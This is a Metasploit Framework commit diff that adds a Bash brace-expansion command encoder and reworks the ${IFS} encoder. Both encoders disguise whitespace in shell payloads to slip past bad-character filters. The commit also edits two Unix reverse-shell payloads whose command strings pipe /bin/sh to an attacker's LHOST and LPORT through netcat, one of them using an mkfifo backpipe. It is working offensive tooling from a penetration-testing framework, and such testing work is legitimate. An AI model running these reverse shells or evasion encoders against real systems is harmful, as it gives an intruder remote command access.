Land #10516, Add brace expansion encoder and update ${IFS} encoder

4.x
Brent Cook 2018-08-25 22:23:07 -05:00 committed by Metasploit
parent 4e967d45ab
commit 0294d7eed1
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
5 changed files with 57 additions and 30 deletions

View File

@ -136,9 +136,13 @@ class Encoder < Module
#
CmdUnixEcho = 'echo'
#
# Bourne shell IFS encoding.
# Bourne shell ${IFS} encoding.
#
CmdUnixIfs = 'ifs'
CmdUnixIFS = 'ifs'
#
# Bash brace expansion encoding.
#
CmdUnixBrace = 'brace'
end
#

View File

@ -0,0 +1,33 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Encoder
# This may produce incorrect code due to minimal escaping
Rank = LowRanking
def initialize
super(
'Name' => 'Bash Brace Expansion Command Encoder',
'Description' => %q{
This encoder uses brace expansion in Bash and other shells
to avoid whitespace without being overly fancy.
},
'Author' => ['wvu', 'egypt'],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'EncoderType' => Msf::Encoder::Type::CmdUnixBrace
)
end
def encode_block(state, buf)
# Skip encoding if there are no badchars
return buf if state.badchars !~ /\s/
# Perform brace expansion encoding
"{#{buf.gsub(',', '\\,').gsub(/\s+/, ',')}}"
end
end

View File

@ -5,39 +5,29 @@
class MetasploitModule < Msf::Encoder
# Below normal ranking because this will produce incorrect code a lot of
# the time.
# This may produce incorrect code, such as in quoted strings
Rank = LowRanking
def initialize
super(
'Name' => 'Generic ${IFS} Substitution Command Encoder',
'Description' => %q{
This encoder uses standard Bourne shell variable substitution
to avoid spaces without being overly fancy.
'Name' => 'Bourne ${IFS} Substitution Command Encoder',
'Description' => %q{
This encoder uses Bourne ${IFS} substitution to avoid whitespace
without being overly fancy.
},
'Author' => 'egypt',
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'EncoderType' => Msf::Encoder::Type::CmdUnixIfs)
'Author' => ['egypt', 'wvu'],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'EncoderType' => Msf::Encoder::Type::CmdUnixIFS
)
end
#
# Encodes the payload
#
def encode_block(state, buf)
# Skip encoding for empty badchars
if state.badchars.length == 0
return buf
end
# Skip encoding if there are no badchars
return buf if state.badchars !~ /\s/
# Skip encoding unless space is a badchar
unless state.badchars.include?(" ")
return buf
end
buf.gsub!(/\s/, '${IFS}')
return buf
# Perform ${IFS} encoding
buf.gsub(/\s+/, '${IFS}')
end
end

View File

@ -51,6 +51,6 @@ module MetasploitModule
#
def command_string
backpipe = Rex::Text.rand_text_alpha_lower(4+rand(4))
"mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe} "
"mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
end
end

View File

@ -9,7 +9,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 35
CachedSize = 34
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
@ -45,6 +45,6 @@ module MetasploitModule
# Returns the command string to use for execution
#
def command_string
"nc #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh "
"nc #{datastore['LHOST']} #{datastore['LPORT']} -e /bin/sh"
end
end